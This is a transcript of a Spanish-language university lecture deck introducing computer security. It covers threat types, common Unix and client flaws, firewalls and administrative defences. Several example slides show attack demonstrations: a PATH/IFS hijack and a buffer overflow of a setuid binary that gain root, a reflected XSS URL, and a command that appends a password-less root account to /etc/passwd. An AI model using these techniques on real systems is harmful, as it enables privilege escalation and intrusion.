Una Introducción a la Seguridad en Sistemas...

39
J.A. Gutiérrez <[email protected]> <http://webdiis.unizar.es/~spd/seguridad.pdf> Una Introducción a la Seguridad en Sistemas Informáticos

Transcript of Una Introducción a la Seguridad en Sistemas...

Page 1: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

J.A. Gutiérrez <[email protected]><http://webdiis.unizar.es/~spd/seguridad.pdf>

Una Introducción a la Seguridad en Sistemas

Informáticos

Page 2: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

• Problemas que comprometen la integridad o la privacidad de los datos almacenados.

• Problemas que permiten acceso a recursos supuestamente no permitidos.

• Problemas que impiden el acceso a recursos a usuarios legítimos.

• Problemas que permiten hacer un mal uso de los recursos informáticos.

¿Qué es “Problema de Seguridad”?

Page 3: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

• Virus informáticos, Troyanos, Gusanos.

• Páginas web “hostiles”.

• “Spyware”.

• Entradas en sistemas ajenos.

• Robo de datos bancarios.

• Cambio de páginas Web.

• Ataques DoS a nivel mundial.

¿Los sistemas son seguros?

http://www.iwar.org.uk/iwar/resources/treatise-on-iw/iw.htm

Page 4: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

¿Los sistemas son seguros?

1988

1989

1990

1991

1992

1993

1994

1995

1996

1997

1998

1999

2000

2001

2002

2003

0

37.500

75.000

112.500

150.000

http://www.cert.org/stats/

Incidentes (CERT)

Page 5: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

¿Los sistemas son seguros?

Número de incidentes sufridos por organización. 2004 E-Crime Watch Survey

Page 6: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

¿Los sistemas son seguros?

http://www.f-secure.com/virus-info/statistics/

Virus (F-Secure)

Page 7: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

• Origen de internet: Abierta, cooperativa.

• Web: Acceso masivo a personas sin conocimientos. (deseable, pero peligroso)

• Nodos no administrados.

• Las mismas que la inseguridad en sistemas.

Razones para la inseguridad (internet)

Page 8: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

• Crecimiento desordenado a medida que surgen necesidades y/o recursos

• Falta de planificación inicial

• Las mismas que la inseguridad en sistemas.

Razones para la inseguridad (redes)

Page 9: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

• Instalaciones “por defecto” no pensadas para la seguridad.

Razones para la inseguridad (sistemas)

Page 10: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

• Facilitar al máximo todo al usuario, automatización. Seguridad vs. Comodidad.

• Complejidad de los sistemas, interacciones no previstas.

• Sistemas “distribuidos”

• Históricamente, desconocimiento en temas de seguridad por parte de los programadores.

Razones para la inseguridad (sistemas)

Page 11: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

• http://www.swordsoft.com/compvuln_draft.pdf

Tipos de problemas

Page 12: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

• Denegación de servicio.

• Eliminación de evidencias.

• Ejecución no permitida.

• Acceso a datos ajenos.

• Modificación de datos ajenos.

• Ejecución arbitraria.

• Control total.

Problemas (por efecto)

Page 13: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

• Local/Remoto → impreciso

• Remoto anónimo.

• Remoto autentificado.

• Local autentificado.

• Local anónimo.

Problemas (por acceso)

Page 14: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

• Ingeniería social.

• Cooperación del usuario. (troyanos, virus)

• Interacción con el usuario. (software)

• Autónomos.

Problemas (Métodos)

Page 15: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

• Interno.

• Externo.

• Automático.

• Automático autónomo.

Problemas(por atacante)

Page 16: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

• Diseño poco seguro (p.e. Share W98)

• Configuraciones abiertas por defecto. (p.e. Impresoras)

• Formas de uso no previstas. (sendmail)

• Validación de los datos de entrada. (chsh)

• Errores de programación.

Fallos típicos

Page 17: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

• Inglés.

• Programación. (teoría)

• Lenguajes de alto nivel. (S.O. - C)

• Ensamblador (varios).

• Manejo de sistemas operativos. (niveles usuario, programador y administrador)

Conceptos básicos

Page 18: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

• Conocimiento de protocolos de comunicaciones.

• Conocimiento de aplicaciones típicas.

• Estudio de los fallos ya publicados.

Conceptos básicos

Page 19: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

• Cesión de privilegios indiscriminada.

• Variables de entorno.

• Enlaces simbólicos.

• Condiciones de carrera.

• Desbordamiento.

• Relaciones de confianza.

Fallos típicos en Unix

Page 20: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

• Automatización excesiva. Ejecución automática de aplicaciones locales con datos externos.

• Ejecución automática de código externo. Scripts incluidos en todo tipo de documentos. (Ofimática, HTML, e-mail)

• Aumento de importancia por el incremento de servicios vía Web. XSS/CSS

Fallos en clientes

Page 21: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

• Ataques “personales” para controlar determinados recursos concretos.

• Ataques aleatorios para usar recursos como puente.

• Ataques automáticos para realizar DoS distribuidos o bots de IRC.

• Ataques automáticos sin objetivo particular. Gusanos.

• Gusanos que buscan salidas de “spam”.

Evolución

Page 22: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

• Conocimiento del sistema.

• Verificación de integridad.

• Protocolos cifrados.

• Revisión de registros (”logs”).

• Paranoia. Evitar ejecución de código externo. Aplicaciones “seguras”.

Seguridad a nivel de usuario.

Page 23: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

• Passwords seguros

Seguridad a nivel de usuario.

Page 24: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

• Sistemas con niveles de acceso. Trabajar sin privilegios especiales. (p.e. MacOS X)

• Eliminar servicios. (p.e. SNMP)

• Reglas de acceso, Cortafuegos.

• Actualizaciones del sistema.

• Programación segura.

Seguridad a nivel de usuario.

Page 25: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

Cortafuegos (a favor)

• Control de acceso externo.

• Limita alcance de problemas de seguridad en servicios/redes locales.

• Limita la posibilidad de utilizar sistemas comprometidos para atacar a terceros.

• Limita la posibilidad de extraer información.

Page 26: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

Cortafuegos(en contra)

• Dificultad de configuración correcta.

• Dificultad de instalación de nuevos servicios.

• Problemas con protocolos que usan puertos aleatorios.

• Ralentización.

• Importancia relativa en máquinas sin servicios y con accesos controlados.

Page 27: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

Cortafuegos (Tipos)

• Filtrado a nivel IP.

• Proxy (p.e. SOCKS)

• Filtrado a nivel de aplicación. (capa 7).

• Filtrado a nivel de aplicación. (sesión).

• Filtrado a nivel de aplicación. (ejecutable).

Page 28: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

• Políticas de seguridad.

• Diseño estricto de la red y los servicios.

• Barreras de acceso.

• Copias de seguridad, recuperación ante desastres

Seguridad a nivel de administración

Page 29: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

• Recuperación ante desastres.

Seguridad a nivel de administración

Page 30: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

• Configuración correcta de la red.

• Cifrado de las comunicaciones.

• Protocolos seguros de autentificación.

• Medidas preventivas.

• Trampas (Honeypots)

• Departamento legal. Registros. LSSI.

Seguridad a nivel de administración

Page 31: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

Ejemplos merlin:/usr/local/bin> ll disqcp -r-sr-xr-x 1 root sys 24576 Oct 23 1995 disqcp merlin:/usr/local/bin> strings disqcp /lib/dld.sl [...] execlp remsh remsh 155.210.33.5 teresa doscp [...] cat > remsh#!/bin/shIFS=" "umask 000exec > /tmp/test.out 2>&1/bin/id merlin:~> env PATH=.:$PATH IFS="/" disqcp a /dev/dsk/disquete0: merlin:~> cat /tmp/test.out uid=243(teresa) gid=612(graficos)

Page 32: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

Ejemplosmerlin:~/tmp> uname -aHP-UX merlin B.10.20 D 9000/802 1465633362 64-user licensemerlin:~/tmp> ls -l `which disqcp`-r-sr-xr-x 1 root sys 28738 Jan 15 1998 /usr/local/bin/disqcpmerlin:~/tmp> disqcp /dev/dsk/disquete0:`perl -e 'print "A" x 2237'` barMemory faultmerlin:~/tmp> cp `which disqcp` dcpmerlin:~/tmp> ./dcp /dev/dsk/disquete0:`perl -e 'print "A" x 3237'` barmerlin:~/tmp> gdb dcp core(no debugging symbols found)...#0 0x41414140 in ?? ()merlin:~/tmp> ./f# iduid=9220(jazz) gid=612(graficos) euid=0(root)

Page 33: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

Ejemplos (CSS)

http://ordesa.unizar.es:9192/pls/gerente/pckUtilidad.gyda_error?mensajeError=%3CIMG%20SRC=%22http://www.extractando.com/entretenimiento/image/Schiffer_11a.jpg%22%3E%3Cscript%3Ealert(%22Hola%22)%3C/script%3E

Page 34: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

Intrusión (ejemplo)

• Windows 2000 SP2

• Moviemientos “autónomos” de ventanas.

• Conexión con IP extraña (netstat).

• Instalación de puertas traseras.

• Informe a organismos relevantes (CERT)

Page 35: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

• The world is full of fascinating problems waiting to be solved.

• No problem should ever have to be solved twice.

• Boredom and drudgery are evil.

• Freedom is good.

• Attitude is no substitute for competence.

Fauna. Hacker

http://www.catb.org/~esr/hacker-emblem/

Page 36: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

• Nerd

• Geek

• Luser

• Wannabe

• Crackers

• Script-kiddies

Otros

http://www.jargon.org

Page 37: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

• Web.

• news.

• Listas de correo. (p.e., securityfocus)

• Avisos de seguridad del fabricante.

Recursos

Page 38: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los

Memory faultroot@localhost# echo “cracker::0:0:I Own You:/:/bin/sh” >> /etc/passwd root@localhost# iduid=0(root) gid=0(root)root@localhost# _

Page 39: Una Introducción a la Seguridad en Sistemas Informáticospersephone.cps.unizar.es/~spd/sec/seguridad-2005.pdf · •Problemas que comprometen la integridad o la privacidad de los